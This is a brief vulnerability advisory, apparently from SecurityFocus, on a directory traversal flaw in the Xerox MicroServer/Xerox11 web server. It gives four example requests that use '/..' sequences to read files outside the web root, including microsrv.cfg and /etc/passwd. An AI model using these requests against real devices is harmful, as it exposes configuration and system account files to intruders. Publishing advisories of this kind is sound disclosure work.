source: https://www.securityfocus.com/bid/9256/info

It has been reported that Xerox_MicroServer/Xerox11 may be prone to a directory traversal vulnerability that may allow an attacker to traverse outside the server root directory by using '/..' or '/.' character sequences at the end of a URL request.

GET /assist/..
GET /assist/////.././../../.
http://www.example.com////../../data/config/microsrv.cfg
http://www.example.com////////../../../../../../etc/passwd